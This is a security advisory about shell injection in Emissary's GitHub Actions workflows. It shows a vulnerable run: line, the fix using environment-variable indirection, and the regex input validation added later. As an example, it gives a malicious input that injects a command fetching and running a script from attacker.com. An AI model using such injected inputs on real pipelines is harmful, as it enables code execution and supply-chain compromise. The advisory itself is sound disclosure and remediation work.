Emissary has GitHub Actions Shell Injection via Workflow Inputs

Summary

Three GitHub Actions workflow files contained 10 shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users.

Affected Files

Details

GitHub Actions ${{ }} expressions inside run: blocks are substituted before the shell interprets the command. When a workflow_dispatch input is placed directly in a run: block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code.

Example — maven-version.yml (before fix)

- name: Set the name of the branch
  run: echo "PR_BRANCH=action/${{ github.event.inputs.next_version }}" >> "$GITHUB_ENV"

A malicious input such as 1.0.0"; curl attacker.com/backdoor.sh | bash; echo " would be interpolated directly into the shell, executing arbitrary commands with the job's GITHUB_TOKEN permissions (contents: write, pull-requests: write).

Impact

• Arbitrary code execution within the CI/CD runner
• Repository modification via the contents: write token (push malicious commits)
• Supply chain poisoning — downstream users who clone or build receive compromised code
• Credential exfiltration from the GitHub Actions environment

Remediation

Fixed in two PRs merged into release 8.39.0:

PR #1286 — Environment variable indirection

Replaced all direct ${{ inputs.* }} interpolation in run: blocks with environment variable indirection. Inputs are assigned to env: at the step level, then referenced as shell variables inside run:.

# After (safe — input is never interpreted by the shell parser)
- name: Set the name of the branch
  run: echo "PR_BRANCH=action/$IN_NEXT_VERSION" >> "$GITHUB_ENV"
  env:
    IN_NEXT_VERSION: ${{ github.event.inputs.next_version }}

PR #1288 — Input validation

Added strict regex validation steps that run before any input is used:

• maven-version.yml: Validates next_version matches ^[a-zA-Z0-9._-]+$
• maven-release.yml: Validates release_suffix matches ^[a-zA-Z0-9._-]+$
• cherrypick.yml: Validates commits matches ^([0-9a-f]{7,40})(\s+[0-9a-f]{7,40})*$

All jobs now also use shell: bash via defaults.run.shell to ensure consistent shell behavior.

Workarounds

There is no workaround other than upgrading. Organizations that have forked Emissary should apply the same environment variable indirection and input validation patterns to their workflow files.

References

• PR #1286 — environment variable indirection
• PR #1288 — input validation
• GitHub Security Lab: Keeping your GitHub Actions and workflows secure
• Original report: GHSA-wjqm-p579-x3ww